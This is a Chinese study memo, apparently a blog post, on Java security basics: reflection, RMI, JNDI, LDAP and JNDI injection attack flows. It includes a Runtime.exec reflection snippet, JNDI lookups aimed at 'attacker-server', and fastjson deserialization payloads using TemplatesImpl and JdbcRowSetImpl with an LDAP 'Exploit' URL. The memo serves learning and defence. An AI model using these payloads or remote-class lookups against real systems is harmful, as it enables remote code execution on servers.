Java安全基础备忘录

Java安全基础备…

内容纲要

[TOC]

前言与学习的文档

首先得感谢longofo师傅Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿这篇文章让我大概的了解了JNDI、LDAP这些基础概念。不过美中不足的是,这篇文章与其说文章,不如说是这师傅给自己RMI、JNDI、LDAP基础例程项目写的说明书,排版和机翻语式让人读起来稍稍有些难受。

于是冒昧润色一下,加上P师傅知识星球里分享的Java安全漫谈、勾陈实验室的三篇Java反序列化文章,删删改改,添些利于自己记忆的锚点,算作Java安全基础备忘录。

备忘录不是教科书,漏洞这些东西还是得自己调调才入脑,还是建议像我一样刚刚开始看Java安全的朋友,仔细调一遍longofo师傅的例程,很多琐碎的问题自己心态爆炸的调一遍才明白。

Java反序列化总览

通过对比PHP和python的反序列化,其实更能看出Java反序列化的特点和模式。

相较PHP

Java的反序列化和PHP的反序列化其实有点类似,他们都只能将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。

Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。

readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题,而PHP的 __wakeup 更倾向于解决“反序列化后如何初始化这个对象”的问题。个人理解,相比Java里可以我们参与到序列化过程之中,PHP序列化,是更耦合的过程。

相较Python

Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机。可以向栈上增、删对象,也可以执行一些指令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。

所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险

反射

P师傅漫谈的开头是这么说的:Java安全可以从反序列化说起,而反序列化又可以从反射说起。

确实,看过几个Java反序列化的漏洞,基本流程描述都是xxxxxx->xxxxxx->xxxxxxx(虽说凡是有利用链的漏洞都可以这么描述Orz ) ,在->的过程中,反射便是基础。

通过反射,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到方法之后就可以调⽤,总之通过“反射”,可以将Java这种静态语⾔附加上动态特性。动态特性,即⼀段代码,改变其中的变量,将会导致这段代码产⽣功能性的变化。

如是:

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

由此引出反射过程中的关键方法:

  • 获取类的方法: forName
  • 实例化类对象的方法: newInstance
  • 获取函数的方法: getMethod
  • 执行函数的方法: invoke

获取类的方法: forName

 通常来说有如下三种方式获取⼀个“类”,也就是 java.lang.Class 对象:

  • obj.getClass() 如果上下⽂中存在某个类的实例 obj ,那么可以直接通过obj.getClass() 来获取它的类

  • Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接拿它的 class 属性即可。这个方法其实不属于反射。

  • Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName来获取
    同时,对攻击很有用的一点是forName不需要import,可以加载任意类

实例化类对象的方法:newInstance

 $ 的作用是查找内部类。Java的普通类 C1 中支持编写内部类 C2 ,而在编译的时候,会生成两个文件: C1.class 和C1$C2.class ,可以把他们看作两个无关的类,通过Class.forName("C1$C2")即可加载这个内部类。

而获得类以后,可以继续使用反射来获取这个类中的属性、方法,也可以实例化这个类,并调用方法。

class.newInstance() 的作用就是调用这个类的无参构造函数,这个比较好理解。但使用newInstance()不成功的可能有两点:

  1. 使用的类没有无参构造函数

    • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,怎样通过反射实例化该类呢?
       需要用到一个新的反射方法 getConstructor, 和 getMethod 类似,getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载,所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后,使用 newInstance 来执行。
  2. 使用的类构造函数是私有的

    • 如果一个方法或构造方法是私有方法,是否能执行它呢?
       这就涉及到 getDeclared 系列的反射了,与普通的 getMethod 、getConstructor 区别是:
      getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
      getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了.
      getDeclaredMethod 的具体用法和 getMethod 类似, getDeclaredConstructor 的具体用法和getConstructor 类似
    Class clazz = Class.forName("java.lang.Runtime");
    Constructor m = clazz.getDeclaredConstructor();
    m.setAccessible(true);
    clazz.getMethod("exec", String.class).invoke(m.newInstance(),"calc.exe");

     这里使用了一个方法 setAccessible ,这个是必须的。在获取到一个私有方法后,必须用setAccessible 修改它的作用域,否则仍然不能调用。

获取函数的方法: getMethod

 getMethod 的作用是通过反射获取一个类的某个特定的公有方法。而学过Java的朋友应该清楚,Java中支持类的重载,不能仅通过函数名来确定一个函数。所以,在调用 getMethod 的时候,需要传给他你需要获取的函数的参数类型列表。

执行函数的方法: invoke

 invoke 的作用是执行方法,它的第一个参数是:

  • 如果这个方法是一个普通方法,那么第一个参数是类对象
  • 如果这个方法是一个静态方法,那么第一个参数是类

 正常执行方法是[1].method([2], [3], [4]...),其实在反射里就是method.invoke([1], [2], [3], [4]...)

RMI

Remote Method Invocation,远程方法调用,顾名思义,跨JVM调用方法。

极大程度依赖接口。

依托JRMP,即(Java Remote Method Protocol,Java远程方法协议)。

基本用法

 ⼀个RMI Server分为三部分:

  1. ⼀个继承了 java.rmi.Remote 的接⼝,其中定义要远程调⽤的函数,⽐如这⾥的 hello()

  2. ⼀个实现了此接⼝的类

  3. ⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是所谓的Server了

 客户端就简单多了,使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象,后⾯的使⽤就和在本地使⽤⼀样了

 虽说执行远程方法的时候代码是在远程服务器上执行的,但实际上还是需要知道有哪些方法,这时候接⼝的重要性就体现了,这也是为什么前⾯要继承 Remote 并将需要调⽤的方法写在接口IRemoteHelloWorld ⾥,因为客户端也需要⽤到这个接⼝。

 总结一下,一个RMI过程有以下三个参与者:

  • RMI Registry
  • RMI Server
  • RMI Client

 通常在新建一个RMI Registry的时候,都会直接绑定一个对象在上面,也就是说一般RMI中server.java中的Server其实包含了Registry和Server两部分:

LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());

第一行创建并运行RMI Registry,第二行将RemoteHelloWorld对象绑定到Hello这个名字上。

Naming.bind 的第一个参数是一个URL,形如: rmi://host:port/name 。其中,host和port就是RMI Registry的地址和端口,name是远程对象的名字。如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是 localhost ,port默认是 1099 :

 Naming.bind("Hello", new RemoteHelloWorld());

这里还得提一下注意Stub和Skeleton。挺多文章就充满机翻痕迹地提一句。其实他们主要就是起一个类似代理的作用,RMI通信实质就是两个JVM中各开一个Stub和Skeleton,二者通过socket通信来实现参数和返回值的传递。Stub,存根嘛,其实仔细想想这说法挺有韵味的。

RMI的动态加载类

java.rmi.server.codebase 表示一个或多个URL位置,可以从中下载本地找不到的类,相当于一个代码库。代码库定义为将类加载到虚拟机的源或场所,可以将CLASSPATH视为“本地代码库”,因为它是磁盘上加载本地类的位置的列表。就像CLASSPATH"本地代码库"一样,小程序和远程对象使用的代码库可以被视为"远程代码库"。

这样就模拟出了一种攻击场景,这时受害者是作为RMI客户端的,但需满足以下条件才能利用:

  • 可以控制客户端去连接的恶意服务端
  • 客户端允许远程加载类(
    由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy
    )
  • JDK版本限制 (
    从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。
    )

Weblogic RMI

  1. 相对原生RMI高性能
  2. 隧道式,即rmi://可走iiop://和http://
  3. 动态存根与骨架
  4. T3协议:WebLogic的自有协议,Weblogic RMI就是通过T3协议传输 与其他http协议端口共用

小结

  1. RMI标准实现是Java RMI,其他实现还有Weblogic RMI、Spring RMI等。
  2. RMI的调用是基于序列化的,一个对象远程传输需要序列化,需要使用到这个对象就需要从序列化的数据中恢复这个对象,恢复这个对象时对应的readObject、readExternal等方法会被自动调用。
  3. RMI可以利用服务器本地反序列化利用链进行攻击。RMI具有动态加载类的能力以及能利用这种能力进行恶意利用。
  4. 这种利用方式是在本地不存在可用的利用链或者可用的利用链中某些类被过滤了导致无法利用时可以使用,不过利用条件有些苛刻。
  5. Weblogic RMI和Java RMI的区别,以及Java RMI默认使用的专有传输协议(或者也可以叫做默认协议)是JRMP,Weblogic RMI默认使用的传输协议是T3。
  6. Weblogic RMI正常调用触发反序列化以及模拟T3协议触发反序列化都可以,但是模拟T3协议传输简化了很多过程

JNDI

JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。

JNDI是Java API,允许客户端通过名称发现和查找数据、对象。

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

特点

  1. 不区分客户端和服务器端,也不具备远程能力,远程能力由被其协同的其他应用提供。
  2. 在客户端和服务器端都能进行一些工作,客户端进行各种访问、查询、搜索,服务器端帮助管理配置,即各种bind
    • 比如RMI服务器端不直接使用Registry进行bind,用JNDI统一管理(其底层还是调用Registry的bind)
    • 客户端类URL访问目标服务

例子:

//JNDI配合RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
  "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
  "rmi://localhost:9999");
  Context ctx = new InitialContext(env);

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定ctx.bind("refObj", new RefObject());

//通过名称查找对象
ctx.lookup("refObj");
//JNDI配合LDAP

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
 env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的Factory以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的:

//没有设置对应服务的Factory以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的Factory与PROVIDER_URL。
Context ctx = new InitialContext();
ctx.lookup("rmi://attacker-server/refObj");
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
//ctx.lookup("iiop://attacker-server/bar");

再如:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);

String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);

即使服务端提前设置了Factory与PROVIDER_URL也不要紧,如果在lookup时参数能够被攻击者控制,同样会根据攻击者提供的URL进行动态转换。

//lookup->getURLOrDefaultInitCtx
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

protected Context getURLOrDefaultInitCtx(String name) 
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
    //这里不是说设置了上下文环境变量就会进入,因为没有执行初始化上下文Factory的构建,所以上面那两种情况在这里都不会进入
    return getDefaultInitCtx();
}
String scheme = getURLScheme(name);//尝试从名称解析URL中的协议
if (scheme != null) {
    Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema协议,则尝试获取其对应的上下文环境
    if (ctx != null) {
   return ctx;
    }
}
return getDefaultInitCtx();
   }

JNDI命名引用

对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。

引用由Reference类表示,并且由地址和有关被引用对象的类信息组成,每个地址都包含有关如何构造对象。

Reference可以使用Factory来构造对象。当使用lookup查找对象时,Reference将使用Factory提供的Factory类加载地址来加载Factory类,Factory类将构造出需要的对象:

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

还有其他从引用构造对象的方式,但是使用Factory的话,因为为了构造对象,需要先从远程获取Factory类 并在目标系统中Factory类被加载。

JNDI-Naming Manager与SPI

JNDI从远程加载类有两个不同的级别:

  • 命名管理器(Naming Manager)级别
  • 服务提供者接口(SPI)级别

在Naming Manager层放宽了安全控制。解码JNDI命名时始终允许引用从远程代码库加载类,而没有JVM选项可以禁用它,并且不需要强制安装任何安全管理器,例如上面说到的命名引用那种方式。

在SPI级别,JVM将允许从远程代码库加载类并实施安全性。管理器的安装取决于特定的提供程序(例如在上面说到的RMI那些利用方式就是SPI级别,必须设置安全管理器):

Provider Property to enable remote class loading 是否需要强制安装Security Manager
RMI java.rmi.server.useCodebaseOnly = false (JDK 6u45、JDK 7u21之后默认为true) 需要
LDAP com.sun.jndi.ldap.object.trustURLCodebase = true(default = false) 非必须
CORBA 需要

JNDI注入起源

最开始起源于Java Applets 点击播放绕过漏洞(CVE-2015-4902):

  1. 恶意applet使用JNLP实例化JNDI InitialContext
  2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
  3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
  4. 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
  5. 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取Factory类,然后实例化Factory以返回 JNDI所引用的对象的新实例
  6. 由于攻击者控制了Factory类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行

对于JNDI注入,有以下两个点需要注意:

  1. 仅由InitialContext或其子类初始化的Context对象(InitialDirContextInitialLdapContext)容易受到JNDI注入攻击
  2. 一些InitialContext属性可以被传递给查找的地址/名称覆盖,即上面提到的JNDI动态协议转换

不仅仅是InitialContext.lookup()方法会受到影响,其他方法例如InitialContext.rename()InitialContext.lookupLink()最后也调用了InitialContext.lookup()。还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也会调用InitialContext.lookup()

JNDI攻击向量

  • RMI
  • JNDI Reference
  • Remote Object(有安全管理器的限制,在上面RMI利用部分也能看到)
  • LDAP
  • Serialized Object
  • JNDI Reference
  • Remote Location
  • CORBA
  • IOR

JNDI Reference+RMI攻击向量

限制:JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载ReferenceFactory类。

如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。

Reference中几个比较关键的属性:

  1. className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  2. classFactory - 远程的Factory类
  3. classFactoryLocation - Factory类加载的地址,可以是file://、ftp://、http:// 等协议

使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为Factory类名并且包含Factory类的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//这里也可以使用JNDI的ctx.bind("Foo", wrapper)方式,都可以

当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/FactoryClassName.class 加载Factory类。

这个攻击过程如下:

  1. 攻击者为易受攻击的JNDI的lookup方法提供了绝对的RMI URL
  2. 服务器连接到受攻击者控制的RMI注册表,该注册表将返回恶意JNDI引用
  3. 服务器解码JNDI引用
  4. 服务器从攻击者控制的服务器获取Factory类
  5. 服务器实例化Factory类
  6. 有效载荷得到执行

实例的流程github里JNDI部分,先起remoteclass里的HttpServer然后起RMIServer最后起RMIClient

ctx.lookup("rmi://localhost:9999/refObj")->RMIServer:9999->HttpServer:8000

JNDI+LDAP攻击向量

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。

LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。

LDAP目录服务基于客户端-服务器模型(C/S),它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。例如为公司的员工设置一个DN,可以基于cn或uid(User ID)作为用户账号。如example.com的employees单位员工longofo的DN可以设置为下面这样:

uid=longofo,ou=employees,dc=example,dc=com

目录树概念

  • 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
  • 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
  • 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
  • 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性
关键字 英文全称 含义
dc Domain Component 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置)
uid User Id 用户ID songtao.xu(一条记录的ID)
ou Organization Unit 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如"employees"(一条记录的所属组织单位)
cn Common Name 公共名称,如"Thomas Johansson"(一条记录的名称)
sn Surname 姓,如"xu"
dn Distinguished Name 由有多个其他属性组成,如"uid=songtao.xu,ou=oa组,dc=example,dc=com",一条记录的位置(唯一)
rdn Relative dn 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson”
LDAP攻击向量

攻击过程如下:

  1. 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
  2. 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
  3. 服务器解码JNDI引用
  4. 服务器从攻击者控制的服务器获取Factory类
  5. 服务器实例化Factory类
  6. 有效载荷得到执行

JNDI也可以用于与LDAP目录服务进行交互。通过使用几个特殊的Java属性,如上面提到的javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation属性等,使用这些属性可以使用LDAP来存储Java对象,在LDAP目录中存储属性至少有以下几种方式:

  • 序列化

    需要com.sun.jndi.ldap.object.trustURLCodebase为true

  • JNDI引用

    这种方式在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类了

  • Remote Location

    结合LDAP与RMI+JNDI Reference的方式,也是JDK 6u132、JDK 7u122、JDK 8u113后默认不可

LDAP与JNDI search()

lookup()方式是能控制ctx.lookup()参数进行对象的查找,LDAP服务器也是攻击者创建的。对于LDAP服务来说,大多数应用使用的是ctx.search()进行属性的查询,这时search会同时使用到几个参数,并且这些参数一般无法控制,但是会受到外部参数的影响,同时search()方式能被利用需要RETURN_OBJECT为true。

攻击场景

对于search方式的攻击需要有对目录属性修改的权限,因此有一些限制,在下面这些场景下可用:

  • 恶意员工:上面使用了几种利用都使用了modifyAttributes方法,但是需要有修改权限,如果员工具有修改权限那么就能像上面一样注入恶意的属性
  • 脆弱的LDAP服务器:如果LDAP服务器被入侵了,那么入侵LDAP服务器的攻击者能够进入LDAP服务器修改返回恶意的对象,对用的应用进行查询时就会受到攻击
  • 易受攻击的应用程序:利用易受攻击的一个应用,如果入侵了这个应用,且它具有对LDAP的写权限,那么利用它使注入LDAP属性,那么其他应用使用LDAP服务是也会遭到攻击
  • 用于访问LDAP目录的公开Web服务或API:很多现代LDAP服务器提供用于访问LDAP目录的各种Web API。可以是功能或模块,例如REST API,SOAP服务,DSML网关,甚至是单独的产品(Web应用程序)。其中许多API对用户都是透明的,并且仅根据LDAP服务器的访问控制列表(ACL)对它们进行授权。某些ACL允许用户修改其任何除黑名单外的属性
  • 中间人攻击:尽管当今大多数LDAP服务器使用TLS进行加密他们的通信后,但在网络上的攻击者仍然可能能够进行攻击并修改那些未加密的证书,或使用受感染的证书来修改属性

已知的JNDI search()漏洞

  • Spring Security and LDAP projects
  • FilterBasedLdapUserSearch.searchForUser()
  • SpringSecurityLdapTemplate.searchForSingleEntry()
  • SpringSecurityLdapTemplate.searchForSingleEntryInternal(){

已知JNDI注入

  • org.springframework.transaction.jta.JtaTransactionManager
    最终调用了 InitialContext.lookup(),并且最终传递到lookup中的参数userTransactionName能被攻击者控制,调用过程:
    initUserTransactionAndTransactionManager()
    ->JndiTemplate.lookup()
    ->InitialContext.lookup()

  • com.sun.rowset.JdbcRowSetImpl
    最终调用了InitialContext.lookup()
    JdbcRowSetImpl.execute()
    ->JdbcRowSetImpl.prepare()
    ->JdbcRowSetImpl.connect()
    -> InitialContext.lookup()
    另:要调用到JdbcRowSetImpl.execute(),作者当时是通过org.mozilla.javascript.NativeErrorjavax.management.BadAttributeValueExpException配合在反序列化实现的,这个类通过一系列的复杂构造,最终能成功调用任意类的无参方法,在ysoserial中也有这条利用链。可以阅读这个漏洞的原文,里面还可以学到TemplatesImpl这个类,它能通过字节码加载一个类,这个类的使用在fastjson漏洞中也出现过,是@廖新喜师傅提供的一个PoC,payload结构:

    payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["xxxxxxxxxx"], "_name": "1111", "_tfactory": { }, "_outputProperties":{ }}";

另一个JdbcRowSetImpl的利用方式是通过它的setAutoCommit,也是通过fastjson触发,setAutoCommit会调用connect(),也会到达InitialContext.lookup(),payload:

payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}";

RMIConnector.connect()
-> RMIConnector.connect(Map environment)
-> RMIConnector.findRMIServer(JMXServiceURL directoryURL, Map environment)
-> RMIConnector.findRMIServerJNDI(String jndiURL, Map env, boolean isIiop)
-> InitialContext.lookup()

harmoc

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注